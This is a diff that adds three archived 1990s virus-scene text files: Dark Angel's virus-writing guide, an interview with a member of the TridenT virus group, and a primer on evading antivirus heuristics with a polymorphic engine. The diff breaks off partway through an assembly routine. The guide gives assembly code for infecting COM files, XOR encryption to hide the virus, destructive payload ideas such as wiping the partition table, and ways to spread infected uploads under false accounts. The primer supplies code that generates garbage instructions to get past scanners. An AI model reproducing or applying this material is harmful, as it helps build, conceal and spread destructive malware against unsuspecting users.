b/textfiles.com/virus/ph-vir1.txt new file mode 100644 index 00000000..afd7a282 --- /dev/null +++ b/textfiles.com/virus/ph-vir1.txt @@ -0,0 +1,445 @@ + //==// // // /|| // //==== //==// //| // + // // // // //|| // // // // //|| // + //==// //==// //=|| // // // // // || // + // // // // || // // // // // ||// +// // // // || //==== //==== //==// // ||/ + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DISCLAIMER: The author hereby disclaims himself +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +DEDICATION: This was written to make the lives + of scum such as Patty Hoffman, John McAffee, + and Ross Greenberg a living hell. +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +OTHER STUFF: Thanks go to The Shade of Sorrow, + Demogorgon, and Orion Rouge on their comments + (which I occasionally listened to!). Thanks + also to Hellraiser, who gave me an example of + some virus source code (his own, of course). +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Dark Angel's Phunky Virus Writing Guide +---- ------- ------ ----- ------- ----- +Virii are wondrous creations written for the sole purpose of spreading and +destroying the systems of unsuspecting fools. This eliminates the systems +of simpletons who can't tell that there is a problem when a 100 byte file +suddenly blossoms into a 1,000 byte file. Duh. These low-lifes do not +deserve to exist, so it is our sacred duty to wipe their hard drives off +the face of the Earth. It is a simple matter of speeding along survival of +the fittest. + +Why did I create this guide? After writing several virii, I have noticed +that virus writers generally learn how to write virii either on their own +or by examining the disassembled code of other virii. There is an +incredible lack of information on the subject. Even books published by +morons such as Burger are, at best, sketchy on how to create a virus. This +guide will show you what it takes to write a virus and also will give you a +plethora of source code to include in your own virii. + +Virus writing is not as hard as you might first imagine. To write an +effective virus, however, you *must* know assembly language. Short, +compact code are hallmarks of assembly language and these are desirable +characteristics of virii. However, it is *not* necessary to write in pure +assembly. C may also be used, as it allows almost total control of the +system while generating relatively compact code (if you stay away from the +library functions). However, you still must access the interrupts, so +assembly knowledge is still required. However, it is still best to stick +with pure assembly, since most operations are more easily coded in +assembly. If you do not know assembly, I would recommend picking up a copy +of The Microsoft Macro Assembler Bible (Nabajyoti Barkakati, ISBN #: 0-672- +22659-6). It is an easy-to-follow book covering assembly in great detail. +Also get yourself a copy of Undocumented DOS (Schulman, et al, ISBN #0-201- +57064-5), as it is very helpful. + +The question of which compiler to use arises often. I suggest using +Borland Turbo Assembler and/or Borland C++. I do not have a copy of +Zortech C (it was too large to download), but I would suspect that it is +also a good choice. Stay away from Microsoft compilers, as they are not as +flexible nor as efficient as those of other vendors. + +A few more items round out the list of tools helpful in constructing virii. +The latest version of Norton Utilities is one of the most powerful programs +available, and is immeasurably helpful. MAKE SURE YOU HAVE A COPY! You +can find it on any decent board. It can be used during every step of the +process, from the writing to the testing. A good debugger helps. Memory +management utilities such as MAPMEM, PMAP, and MARK/RELEASE, are +invaluable, especially when coding TSR virii. Sourcer, the commenting +disassembler, is useful when you wish to examine the code of other virii +(this is a good place to get ideas/techniques for your virus). + +Now that you have your tools, you are ready to create a work of art +designed to smash the systems of cretins. There are three types of virii: + + 1) Tiny virii (under 500 bytes) which are designed to be undetectable + due to their small size. TINY is one such virus. They are + generally very simple because their code length is so limited. + 2) Large virii (over 1,500 bytes) which are designed to be + undetectable because they cover their tracks very well (all that + code DOES have a use!). The best example of this is the Whale + virus, which is perhaps the best 'Stealth' virus in existence. + 3) Other virii which are not designed to be hidden at all (the writers + don't give a shit). The common virus is like this. All + overwriting virii are in this category. + +You must decide which kind of virus you wish to write. I will mostly be +discussing the second type (Stealth virii). However, many of the +techniques discribed may be easily applied to the first type (tiny virii). +However, tiny virii generally do not have many of the "features" of larger +virii, such as directory traversal. The third type is more of a +replicating trojan-type, and will warrant a brief (very, very brief!) +discussion later. + +A virus may be divided into three parts: the replicator, the concealer, and +the bomb. The replicator part controls the spread of the virus to other +files, the concealer keeps the virus from being detected, and the bomb only +executes when the activation conditions of the virus (more on that later) +are satisfied. + +-=-=-=-=-=-=-=- +THE REPLICATOR +-=-=-=-=-=-=-=- +The job of the replicator is to spread the virus throughout the system of +the clod who has caught the virus. How does it do this without destroying +the file it infects? The easiest type of replicator infects COM files. It +first saves the first few bytes of the infected file. It then copies a +small portion of its code to the beginning of the file, and the rest to the +end. + + +----------------+ +------------+ + | P1 | P2 | | V1 | V2 | + +----------------+ +------------+ + The uninfected file The virus code + +In the diagram, P1 is part 1 of the file, P2 is part 2 of the file, and V1 +and V2 are parts 1 and 2 of the virus. Note that the size of P1 should be +the same as the size of V1, but the size of P2 doesn't necessarily have to +be the same size as V2. The virus first saves P1 and copies it to the +either 1) the end of the file or 2) inside the code of the virus. Let's +assume it copies the code to the end of the file. The file now looks like: + + +---------------------+ + | P1 | P2 | P1 | + +---------------------+ + +Then, the virus copies the first part of itself to the beginning of the +file. + + +---------------------+ + | V1 | P2 | P1 | + +---------------------+ + +Finally, the virus copies the second part of itself to the end of the file. +The final, infected file looks like this: + + +-----------------------------+ + | V1 | P2 | P1 | V2 | + +-----------------------------+ + +The question is: What the fuck do V1 and V2 do? V1 transfers control of +the program to V2. The code to do this is simple. + + JMP FAR PTR Duh ; Takes four bytes +Duh DW V2_Start ; Takes two bytes + +Duh is a far pointer (Segment:Offset) pointing to the first instruction of +V2. Note that the value of Duh must be changed to reflect the length of +the file that is infected. For example, if the original size of the +program is 79 bytes, Duh must be changed so that the instruction at +CS:[155h] is executed. The value of Duh is obtained by adding the length +of V1, the original size of the infected file, and 256 (to account for the +PSP). In this case, V1 = 6 and P1 + P2 = 79, so 6 + 79 + 256 = 341 decimal +(155 hex). + +An alternate, albeit more difficult to understand, method follows: + + DB 1101001b ; Code for JMP (2 byte-displacement) +Duh DW V2_Start - OFFSET Duh ; 2 byte displacement + +This inserts the jump offset directly into the code following the jump +instruction. You could also replace the second line with + + DW V2_Start - $ + +which accomplishes the same task. + +V2 contains the rest of the code, i.e. the stuff that does everything else. +The last part of V2 copies P1 over V1 (in memory, not on disk) and then +transfers control to the beginning of the file (in memory). The original +program will then run happily as if nothing happened. The code to do this +is also very simple. + + MOV SI, V2_START ; V2_START is a LABEL marking where V2 starts + SUB SI, V1_LENGTH ; Go back to where P1 is stored + MOV DI, 0100h ; All COM files are loaded @ CS:[100h] in memory + MOV CX, V1_LENGTH ; Move CX bytes + REP MOVSB ; DS:[SI] -> ES:[DI] + + MOV DI, 0100h + JMP DI + +This code assumes that P1 is located just before V2, as in: + +P1_Stored_Here: + . + . + . +V2_Start: + +It also assumes ES equals CS. If these assumptions are false, change the +code accordingly. Here is an example: + + PUSH CS ; Store CS + POP ES ; and move it to ES + ; Note MOV ES, CS is not a valid instruction + MOV SI, P1_START ; Move from whereever P1 is stored + MOV DI, 0100h ; to CS:[100h] + MOV CX, V1_LENGTH + REP MOVSB + + MOV DI, 0100h + JMP DI + +This code first moves CS into ES and then sets the source pointer of MOVSB +to where P1 is located. Remember that this is all taking place in memory, +so you need the OFFSET of P1, not just the physical location in the file. +The offset of P1 is 100h higher than the physical file location, as COM +files are loaded starting from CS:[100h]. + +So here's a summary of the parts of the virus and location labels: + +V1_Start: + JMP FAR PTR Duh +Duh DW V2_Start +V1_End: + +P2_Start: +P2_End: + +P1_Start: + ; First part of the program stored here for future use +P1_End: + +V2_Start: + ; Real Stuff +V2_End: + +V1_Length EQU V1_End - V1_Start + +Alternatively, you could store P1 in V2 as follows: + +V2_Start: + +P1_Start: +P1_End: + +V2_End: + +That's all there is to infecting a COM file without destroying it! Simple, +no? EXE files, however, are a little tougher to infect without rendering +them inexecutable - I will cover this topic in a later file. + +Now let us turn our attention back to the replicator portion of the virus. +The steps are outlined below: + + 1) Find a file to infect + 2) Check if it is already infected + 3) If so, go back to 1 + 4) Infect it + 5) If infected enough, quit + 6) Otherwise, go back to 1 + +Finding a file to infect is a simple matter of writing a directory +traversal procedure and issuing FINDFIRST and FINDNEXT calls to find +possible files to infect. Once you find the file, open it and read the +first few bytes. If they are the same as the first few bytes of V1, then +the file is already infected. If the first bytes of V1 are not unique to +your virus, change it so that they are. It is *extremely* important that +your virus doesn't reinfect the same files, since that was how Jerusalem +was first detected. If the file wasn't already infected, then infect it! +Infection should take the following steps: + + 1) Change the file attributes to nothing. + 2) Save the file date/time stamps. + 3) Close the file. + 4) Open it again in read/write mode. + 5) Save P1 and append it to the end of the file. + 6) Copy V1 to the beginning, but change the offset which it JMPs to so + it transfers control correctly. See the previous part on infection. + 7) Append V2 to the end of the file. + 8) Restore file attributes/date/time. + +You should keep a counter of the number of files infected during this run. +If the number exceeds, say three, then stop. It is better to infect slowly +then to give yourself away by infecting the entire drive at once. + +You must be sure to cover your tracks when you infect a file. Save the +file's original date/time/attributes and restore them when you are +finished. THIS IS VERY IMPORTANT! It takes about 50 to 75 bytes of code, +probably less, to do these few simple things which can do wonders for the +concealment of your program. + +I will include code for the directory traversal function, as well as other +parts of the replicator in the next installment of my phunky guide. + +-=-=-=-=- +CONCEALER +-=-=-=-=- +This is the part which conceals the program from notice by the everyday +user and virus scanner. The simplest form of concealment is the encryptor. +The code for a simple XOR encryption system follows: + +encrypt_val db ? + +decrypt: +encrypt: + mov ah, encrypt_val + + mov cx, part_to_encrypt_end - part_to_encrypt_start + mov si, part_to_encrypt_start + mov di, si + +xor_loop: + lodsb ; DS:[SI] -> AL + xor al, ah + stosb ; AL -> ES:[DI] + loop xor_loop + ret + +Note the encryption and decryption procedures are the same. This is due to +the weird nature of XOR. You can CALL these procedures from anywhere in +the program, but make sure you do not call it from a place within the area +to be encrypted, as the program will crash. When writing the virus, set +the encryption value to 0. part_to_encrypt_start and part_to_encrypt_end +sandwich the area you wish to encrypt. Use a CALL decrypt in the beginning +of V2 to unencrypt the file so your program can run. When infecting a +file, first change the encrypt_val, then CALL encrypt, then write V2 to the +end of the file, and CALL decrypt. MAKE SURE THIS PART DOES NOT LIE IN THE +AREA TO BE ENCRYPTED!!! + +This is how V2 would look with the concealer: + +V2_Start: + +Concealer_Start: + . + . + . +Concealer_End: + +Replicator_Start: + . + . + . +Replicator_End: + +Part_To_Encrypt_Start: + . + . + . +Part_To_Encrypt_End: +V2_End: + +Alternatively, you could move parts of the unencrypted stuff between +Part_To_Encrypt_End and V2_End. + +The value of encryption is readily apparent. Encryption makes it harder +for virus scanners to locate your virus. It also hides some text strings +located in your program. It is the easiest and shortest way to hide your +virus. + +Encryption is only one form of concealment. At least one other virus hooks +into the DOS interrupts and alters the output of DIR so the file sizes +appear normal. Another concealment scheme (for TSR virii) alters DOS so +memory utilities do not detect the virus. Loading the virus in certain +parts of memory allow it to survive warm reboots. There are many stealth +techniques, limited only by the virus writer's imagination. + +-=-=-=-=- +THE BOMB +-=-=-=-=- +So now all the boring stuff is over. The nastiness is contained here. The +bomb part of the virus does all the deletion/slowdown/etc which make virii +so annoying. Set some activation conditions of the virus. This can be +anything, ranging from when it's your birthday to when the virus has +infected 100 files. When these conditions are met, then your virus does +the good stuff. Some suggestions of possible bombs: + + 1) System slowdown - easily handled by trapping an interrupt and + causing a delay when it activates. + 2) File deletion - Delete all ZIP files on the drive. + 3) Message display - Display a nice message saying something to the + effect of "You are fucked." + 4) Killing/Replacing the Partition Table/Boot Sector/FAT of the hard + drive - This is very nasty, as most dimwits cannot fix this. + +This is, of course, the fun part of writing a virus, so be original! + +-=-=-=-=-=-=-=- +OFFSET PROBLEMS +-=-=-=-=-=-=-=- +There is one caveat regarding calculation of offsets. After you infect a +file, the locations of variables change. You MUST account for this. All +relative offsets can stay the same, but you must add the file size to the +absolute offsets or your program will not work. This is the most tricky +part of writing virii and taking these into account can often greatly +increase the size of a virus. THIS IS VERY IMPORTANT AND YOU SHOULD BE +SURE TO UNDERSTAND THIS BEFORE ATTEMPTING TO WRITE A NONOVERWRITING VIRUS! +If you don't, you'll get fucked over and your virus WILL NOT WORK! One +entire part of the guide will be devoted to this subject. + +-=-=-=- +TESTING +-=-=-=- +Testing virii is a dangerous yet essential part of the virus creation +process. This is to make certain that people *will* be hit by the virus +and, hopefully, wiped out. Test thoroughly and make sure it activates +under the conditions. It would be great if everyone had a second computer +to test their virii out, but, of course, this is not the case. So it is +ESSENTIAL that you keep BACKUPS of your files, partition, boot record, and +FAT. Norton is handy in this doing this. Do NOT disregard this advice +(even though I know that you will anyway) because you WILL be hit by your +own virii. When I wrote my first virus, my system was taken down for two +days because I didn't have good backups. Luckily, the virus was not overly +destructive. BACKUPS MAKE SENSE! LEECH A BACKUP PROGRAM FROM YOUR LOCAL +PIRATE BOARD! I find a RamDrive is often helpful in testing virii, as the +damage is not permanent. RamDrives are also useful for testing trojans, +but that is the topic of another file... + +-=-=-=-=-=-=- +DISTRIBUTION +-=-=-=-=-=-=- +This is another fun part of virus writing. It involves sending your +brilliantly-written program through the phone lines to your local, +unsuspecting bulletin boards. What you should do is infect a file that +actually does something (leech a useful utility from another board), infect +it, and upload it to a place where it will be downloaded by users all over. +The best thing is that it won't be detected by puny scanner-wanna-bes by +McAffee, since it is new! Oh yeah, make sure you are using a false account +(duh). Better yet, make a false account with the name/phone number of +someone you don't like and upload the infected file under the his name. +You can call back from time to time and use a door such as ZDoor to check +the spread of the virus. The more who download, the more who share in the +experience of your virus! + +I promised a brief section on overwriting virii, so here it is... +-=-=-=-=-=-=-=-=- +OVERWRITING VIRII +-=-=-=-=-=-=-=-=- +All these virii do is spread throughout the system. They render the +infected files inexecutable, so they are easily detected. It is simple to +write one: + + +-------------+ +-----+ +-------------+ + | Program | + |Virus| = |Virus|am | + +-------------+ +-----+ +-------------+ + +These virii are simple little hacks, but pretty worthless because of their +easy detectability. Enuff said! + +-=-=-=-=-=-=-=-=-=-=-=-=- +WELL, THAT JUST ABOUT... +-=-=-=-=-=-=-=-=-=-=-=-=- +wraps it up for this installment of Dark Angel's Phunky virus writing +guide. There will (hopefully) be future issues where I discuss more about +virii and include much more source code (mo' source!). Till then, happy +coding! diff --git a/textfiles.com/virus/pngintrv.iew b/textfiles.com/virus/pngintrv.iew new file mode 100644 index 00000000..2bdeced7 --- /dev/null +++ b/textfiles.com/virus/pngintrv.iew @@ -0,0 +1,268 @@ +-------------------------------------------------------------------------------- + INTERVIEW WITH PERSONA NO GRATA / TRIDENT / THE NETHERLANDS +-------------------------------------------------------------------------------- + + Give me a short description of who you are! + +- Hello everybody I'm Persona No Grata and doing mainly some PR-Stuff + for TridenT. I keep in contact with other groups and distribute the + new releases to other researchers/viruswriters. I'm a non-virus- + writer, I only collect the stuff. As like all TridenT members I'm + living in the Netherlands. I'm somewhere in the beginning of my + twenties. + + From where did you get your handle, Persona No Grata? + +- Well I have been using several handles over the years (like many of + the other TridenT members). I thought Persona No Grata is a nice + name which means a person who is not welcome. + + When did you discovered the world of computers? + +- Well I started out on the C64 (years and years ago) after that I + bought an Amiga 500 and I got a PC since 1991 now. + + How long have you been active in the scene? + +- In the virus scene? since the end of 1992, before that was in some + C64 and amiga groups. + + What part(s) of the underground do you think needs improvements? + +- Dont think any part of the virus 'underground' has to improve. It's + just that the european virusscene should be more active + + Have you been involved in any other group than Trident? + +- Not in any other virii-group, think no TridenT member has been in + another virus-group. Because when TridenT started the contacts + between virus writers werent that good, nowadays people get on the + internet and start chatting on irc. + + Who started/created Trident? + +- John Tardy and Bit Addict started the group some years ago, think + after that Masud Khafir joined etc. + + What's the groups goal? + +- The contact between the 'members' is just on a friendly bases, we + dont have any bosses or people who think they are better than the + rest. We dont push people to release virii every week/month. A + TridenT virus only is released when it's good enough. We got stacks + of experimental virusses which were never released and will never be. + + How many people are you? + +- It differs from time to time, handles come and go ;) + + What's their handles? + +- let's just stay with John Tardy, Masud Khafir, Bit Addict, Dark + Helmet, Crom-Cruach and DarkRay. + + Do all of them program, if not, what's the others job? + +- All of us program, just some of us dont use their ablitities to + make virii. + + Who are the "leading/head-persons" in the group? + +- We dont have any leading persons. We dont need it and there never + will be any one who is bossing people around. TridenT members are + free to come and go. + + How is Trident (currently) organzied? + +- It's not organized in any way... We used to have our own TridenT + mail-network but we are currently taking it easy :( + + Can anyone ask for membership, or are you a "private" group? + +- I get this question more often then normally. Well we like to stay + all dutch. But if a person is really good w'll consider it. + + What responses have you had about TPE? + +- If you say TridenT, 8 of 10 people say TPE (maybe because Masud + named it TridenT Polymorphic Engine?). + + Even thought polymorphic engine's are a great thing, not many + people seems to use them? You have any theorie why they don't? + +- Oh well people use them allright I think. + + Have you ever thought of/are you currently releasing some sort of + electronic magazine (text/executable/hard-copy)? + +- We've had several discussions about that, but we even couldnt agree + on the name, we thought of TridenTial and when we finally agreed on + it, we couldnt agree wether to put sources in it or not... One day + we (John Tardy in a drunk mood) started typing text but when we woke + up the next morning we sobered and putted it on disk somewhere (where + it probably still is). + + Are you into other things such as hacking and phreaking aswell, or + just viruses? + +- I think I'm the only one in TridenT who is doing hacking/Phreaking + although I cant do it as frequent as I like to do it. :(( + + Which is the best way of contacting you? + + People can contact me on NuKE-Net. + + Can you name a few viruses that Trident has written? + has written? + +- Well just take patricia's vsum and search for all Origin: The + Netherlands think 95% of it is made by TridenT.. + + Do you have any sort of company or law-enforcement who are trying + to hunt Trident down? + +- Probably the CRI who has got a special division called Computer Crime + (Computer Criminaliteit (Dutch)). + + If so, are they a real threat or just "childish"? + +- Well I think it's 'childish' but it could be a real threat to TridenT + however. + + Have you ever had any trouble in the group with the result of kicked + member(s)? + +- Nope, we only gave members warnings when they did something 'stupid' + but that's mutual I think ;-) + + How good are Trident comparing to other groups (P/S & NuKE?) + +- Well NuKE isnt active anymore, and most of the virii they released + suck. (though NuKE has some good programmers). Phalcon/Skism has + made nice virii and I also like their magazine (40hex is the best + around) and the guys are always around on the internet. + + Do you call out aloth, and if so how? + +- I call out sometimes, but mosttimes to the internet. In the + Netherlands there are only a few good boards so. + + Do you have any couriers that spread your products around? + +- Nope, I only send it via the internet and that's it. + + What do you think about the laws against h/p/v that has arrived + lately? + +- It sucks and there are still a lot of 'holes' in it. It's not clearly + written and we just have to wait till there is a test-case so we + really know what and how.. (not-implementing anything here ;-)) + + What do you think about various news-papers thinking us as nerds? + +- I dont read news-papers ;-) + + Do you see any differences between the scene now and a couple of + years ago (concerning the underground part ofcause)? + +- The scene is more open than a couple of years ago. Contacts between + other virus writers was difficult. + + Which virus-magazine do you think is the best avalible now-a-days? + +- 40hex (can get it at several internet sites). + + Which virus-group/programmer do you admire/like? + +- I dont admire any of them. Liking is another word. + (on a friendly bases). + + Which country do you think is the best virus-writing today? + +- Probably the usa,because most of them hang out there (ofcoz the + country is big etc). + + What do you think about these virus generators, such as VCL or PS-MPC? + +- I like the idea, not the people using it. Every dickhead can create a + 'virus' nowadays. + + What do you think about the people using them? + +- It's good for virii collectors (cause they can say they got 5000+ + virii on line) but that's about it. I dont like people uploading + files to boards like 'newgame.zip' with in it some virii. + + What do you think about people bragging over (almost) nothing + and ragging with other groups aswell? + +- Keeps the scene lively. + + What do you think about such individes as board-crashers? + +- Get a life. + + Describe the perfect virus : + +- A virus which uses several techniques and tricks all scanners on + the market. + + Describe the perfect viruscoder : + +- 16 year old geeks, drinking beer and smoking pot. ??? well dunno + really + + Describe the AV-community with a few lines : + +- Monopoly dudes thinking they are so damn good and better as the rest. + + Which AV-program do think is the best, and why? + +- f-prot together with tbav. + + What do you think about the underground's future? + +- As you see, magazines and groups come and go, I've seen 14 year old + kids who start programming and like to create virii. The last years + the virus business has been booming several new virii come out each + day. + + Do you know/heard of any new technics coming in the near future? + +- nope + + Any advice to people who want's to learn the basic of virus-writing? + +- Well if you got internet access join the #virus channel on irc. Get + ahold on 40hex that's pretty much about it. + + Something else you wish to say? + +- Just continue releasing the Insane Reality magazine, I hope it comes + out as frequent as the Crypt Magazine ;-) + + Do you wish to send any greets? + +- well first of all greets to all Immortal Riot dudes. + * Metal Militia and the Flash. + * All TridenT members (also the ones which didnt cooperate on the + interview, well probably because I didnt ask them?) hehe + * Garbage Heap (P/S), when will the next issue be released. Hopefully + the Mirror Virus Source code by Bit Addict/TridenT will be in it. + * Urnst Kouch (Crypt Magazine). The magazine is great and is the only + one which keeps comming out on a regular basis. Nice going. + * Savage Beast/NuKE Coordinator Europe. You probably got the disks at + the time you read this ? + * Azrael/NuKE Coordinator South America. You need a dictionairy (hehe + Just kidding). Also greets to your friend Murdock. + * Maddog/NaTe call me more frequent will you. + * Coaxial Karma/NPC did InterMail work out okay? Too bad about the OD. + * CryptKeeper (P/S) Hopes everything works out okay for you. + * Macaroni Ted & Jaywalker/A.N.O.I. Come on start working again guys. + * Doctor Revenge (NuKE Italy) Nice going dude. + * Kohntark thx for the preview. Is the official one finished? + * Hellraiser (P/S) Long time no see on the net? + * Memory Lapse (P/S) Will send you my allfiles. + * Zerial for being a pain in the ass + * Kevin Martinez for being a cool dude. Talk to you later. + * Sigma One thx again dude \ No newline at end of file diff --git a/textfiles.com/virus/polyflag.txt b/textfiles.com/virus/polyflag.txt new file mode 100644 index 00000000..962c10f5 --- /dev/null +++ b/textfiles.com/virus/polyflag.txt @@ -0,0 +1,507 @@ + A Humble PolyMorphic Engine Primer by Absolute Overlord + + Foreward + Since I've done a tremendous amount of research into avoiding flags + with a polymorphic engine I've decided to document my research and + present it for the benefit of others persuing the same. + The benefits of using a polymorphic engine are excellent provided + your engine achieves the requisite level of 'cleanliness' as far + as heuristical flags go. The majority of polymorphic viruses have + been stopped dead in their tracks due to the absurd level of flags + they have been known to cause. If all of a sudden programs you knew + which didn't have any flags scan as: + + G Garbage instructions. Contains code that seems to have no purpose + other than encryption or avoiding recognition by virus scanners. + @ Encountered instructions which are not likely to be generated by + an assembler, but by some code generator like a polymorphic virus. + 1 Found instructions which require a 80186 processor or above. + # Found a code decryption routine or debugger trap. This is common + for viruses but also for some copy-protected software. + + + Then you know you have a virus. Of course if your virus does things + like scramble the keyboard buffer or print 'FUCK YOU' on the screen + every ten seconds none of this discussion is really going to be worth + your while. ;) + + + + First, the good news. Web and Avp *suck* next to tbav, and frankly + the only scanner to use in your test bed is TBAV. + Now the bad news. TBAV is damn good at catching all kinds of garbage + code and finding decryption loops. + The main thing to know here is that 1 flag is bad but 2 spells a + catastrophe. This is because if tbav finds 2 flags on a file while + scanning with high heuristics it will pop up the ubiquitious red + warning window and summarily decide the file is infected. + + + First, the decryption loop. + + In even the best polymorphic engines I've seen tbav finds the decryptor + loop 5 times out of 10. It's hard to state the exact reason this is + but it evens finds the decryptor loop in Rhincewind's Rhince engine + droppers. This is peculiar because Rhince uses a very slick method + of inserting a number of mov [memlocation], opcode instructions. + The decryptor is actually laid down at the end of the 'header' while + the header is executing. A fantastic idea, but nevertheless one that fails + to elude tbav. Dark Slayer uses the method of xor [si,di,bp or bx], seed + but tbav will catch this as well about 50% of the time. + I hypothesized that if I spread the individual instructions for the + decryptor loop over a number of subroutines that formed the actual + loop tbav would fail to find it. I was right. So this is the method + I use now in S.H.I.T. Of course, eventually tbav will be able to detect + even this as well. I think tbav tries to keep track of memory pointed + to by the index registers and watches for successive memory location + changes. Hard to tell. One thing is certain though. A polymorphic + engine must make a good show of attempting to hide the decryptor + or the whole point is lost. You certainly can't have 50 files + suddenly flagging as having a decryptor that didn't flag so before. + + + Second, the dreaded @ polymorph engine flag. + + This one is not so hard to pin down. Almost all single byte opcodes + like DAA, AAD, LOCK and other oddities you would rarely use in a + program will trigger it. Addressing modes like mov dx,[bp+di+3425h] + will trigger it. Lots of adc's, sub's ,cmp's, dec's and inc's will + trigger it. Register operations involving bp, di, si,and sp will + move you towards a trigger (but not gaurantee one). + + Any incidence of an opcode like mov al,ah where the direction bit + is set will trigger the @ flag. Due to the way the opcode bit fields + where designated there is a set of 'mirror' opcodes that perform + the same function but with the register fields reversed and the direction + bit set instead of clear (see appendix A). The same holds true for the xchg + group of instructions. + + I believe that tbav uses a combination of a mathematical approach to counting + the incidence of opcodes and addressing modes and computing the statistical + likelihood of their occurrences as well as looking for specific opcodes + and opcode sequences. This is a good reason that code produced by engines + like PSE,MIME,MTE,TPE,PME,DSCE,DSME and VICE will give lots and lots of + flags. If we count the incidence of each opcode and then do a frequency + analysis on them we can come up with a fairly decent picture of your average + program versus the kind of garbage produced by most poly engines. + + To be honest, it seems the only opcodes you can get away with and still + gaurentee no @ flag is mov's, xchg's and push/pop pairs. + That leaves the entire slew of mathematical and logical instructions + to be re-explored however. That also leaves the standard flow control (CMP/JZ) + pairs. I tested one version of shit that was getting 0 flags by adding + cmp/jz/jnz/jo etc random flow control and started getting flags. + Hard to pin down the cause here. + + Which leads us to the issue of the G garbage flag. + Tbav is fairly intelligent and will flag G on almost any sequence of + instructions that look like garbage to the naked eye so you really have + to avoid producing code that looks like utter nonsense. The majority + of actual program code consists of + + 1 moves to registers from memory (setup) + 2 moves to registers of immediate values + 3 moves to memory of registers or immediate values + 4 moves to registers of registers + 5 pushes and pops to move registers to other registers + 6 occasional interupts to various system services + 7 compares with branches + 8 logical instructions like and,or,ror,sal etc + 9 mathemetical instructions like add,sub (pretty rare actually) + + I think that item number 6 needs more looking into. + If I start debugging and see 200 bytes go by without a single Int21 + or Int10 or *SOMETHING* I think I would be pretty suspicious. + I bet TBAV assumes the same here. + Basically,if the code looks completely absurd with debug then I'm + 100% positive tbav will flag it as something as well. + + The U undocumented interupt flag. + + There's no denying the fact that TBAV has a flaw in it. It will sometimes + produce this flag even when there are no such Int's in the tested code. + Either that or there is a slim (but intentional?) random chance that + mov ax,4C00h Int 21h will be flagged as undocumented. + Maybe Franz wants an extra margin of safety.?:) + + The J suspicious jump construct flag. + + Programs like SMEG and others that overindulge in random flow control + will cause this. Pare down the level of random flow control. The main + thing I have noticed is that in most engines there is a total lack + of control in the 'randomocity' of the code generated. You have to + control it. Make it far less random. Make it look much more like + the genuine article. (Speaking of which, I'm sure I'm not the first person + to think of 'code theiving'. Actually going out and trying to find some + chunk of code in the host or something to plunk down as our new entry + header. I wonder if this could be done..) + You might be better off avoiding random flow control entirely and + lightening up your engine a bit in the process. + + The R Terminate and stay resident flag. + + This technically shouldn't be a flag any polymorphic engine should have + to worry about but alas, Franz has an itchy trigger finger. + You may occasionally see this if you have the instruction + + mov [si],bx + + anywhere in your code. Actually, this brings us to the point of the 'known + flags' triggers. Here is a partial list: + + cmp ah,4Bh ; program infects on execution. + + cmp ah,11h ;stealth virus flag + cmp ah,12h ;ditto + cmp ah,42h ;ditto + cmp ah,43h ;ditto + + mov ah,40h ;program may be capable of infecting a file. + + Int 27h ;tsr ;) + + mov ah,37h ;tsr + ..... + int 21h + +============================================================================ +Appendix A + +; I have taken the liberty of assembling some routines that use the bit +; field patterns of opcodes to produce opcodes of a limited type each +; These may help you in creating your own variants. +; The actual engine must still create the framework that is padded out +; with the 'filler'. The following routines total 299 bytes including +; random number generators and local variables. +; they assume ds:di is the destination for the garbage opcodes +; and use destroy the contents of ax and bx + +padit: +; lay down between 2 and 5 filler opcodes selected from the available +; types + call get_rnd ;get a random number for fill count + and ax,03h ; + inc ax + inc ax ;min 2,max 5 opcodes +do_cx_rnd: push ax +new_fill: mov ax, (end_op_table-op_table)/2 ;select the type of + call rand_in_range ;filler + cmp ax,word ptr [last_fill_type] + jz new_fill ;avoid same types in a row + mov word ptr [last_fill_type],ax + add ax,ax + mov bx,ax + call word ptr cs:[op_table+bx] + pop ax + dec ax + jnz do_cx_rnd + ret + +; 38 bytes + +op_table: dw offset move_with_mem ;here we can weight the frequencies + dw offset move_with_reg ;a bit by inserting a subroutine + dw offset move_imm ;more than once + dw offset reg_exchange + dw offset do_push_pop +end_op_table: +last_fill_type dw 0 +shit_range dw 0 +shit_range_base dw 0 +; 16 bytes + +move_imm: +; makes an opcode of type mov reg,immediate value +; either 8 or 16 bit value +; but never ax or al or sp,di,si or bp + + call get_rnd + and al,0Fh ;get a reggie + or al,0B0h ;make it a mov reg, + test al,00001000b + jz is_8bit_mov + and al,11111011b ; make it ax,bx cx or dx + mov ah,al + and ah,03h + jz move_imm ;not ax or al! + stosb + call rand_16 + stosw + ret +is_8bit_mov: + mov bh,al ; + and bh,07h ; is al? + jz move_imm ; yeah bomb + stosb + call get_rnd + stosb + ret + +;37 bytes + + +move_with_mem: +; ok now we get busy with type mov reg,[mem] and type mov [mem],reg +; but never move ax,[mem] or mov al,[mem] +; or any moves involving bp,sp,di or si +; note: +; shit_range_base is a pointer to mem ok to mess with in the new +; host + virus combo. This would be somewhere in the current segment +; after the virus code and below the reserved stack area. +; shit_range is typically (65536 - stack_allocation) - shit_range_base +; shit_range_base is typically host_size+virus_size+safety_margin + + call rand_16 + and ax,0011100000000011b ;preserve reggie,from/to mem and 8/16 bit + or ax,0000011010001000b ;or it with addr mode imm 16 and make it mov + test al,00000001b + jnz is_16bitter + cmp ah,00000110b ;reggie = al? + jz make_to_mem + jmp all_clear_for_mem +is_16bitter: + and ah,00011110b ;make it ax,bx,cx or dx + cmp ah,00000110b ;is reggie = ax? + jnz all_clear_for_mem ;yes, make it to mem +make_to_mem: + and al,11111101b ; make it to mem +all_clear_for_mem: + stosw + mov ax,[shit_range] ;this will be zero if there not enuff room to define + or ax,ax + jnz shit_ok + dec di + dec di + ret ;there is no shit range defined so abort! +shit_ok: xor ah,ah + call rand_in_range + add ax,[shit_range_base] + stosw + ret +; 54 bytes + + +move_with_reg: +; ok now we knock boots with mov reg,reg's +; but never to al or ax. + + call rand_16 + and ax,0011111100000001b ;preserve reggies and 8/16 bit + or ax,1100000010001010b ;or it with addr mode and make it mov +reg_test: + test al,1 + jz is_8bit_move_with_reg + and ah,11011011b ;make source and dest = ax,bx,cx,dx +is_8bit_move_with_reg: + mov bl,ah + and bl,00111000b + jz move_with_reg ;no mov ax, 's please + mov bh,ah ;let's see if 2 reggies are same reggies. + sal bh,1 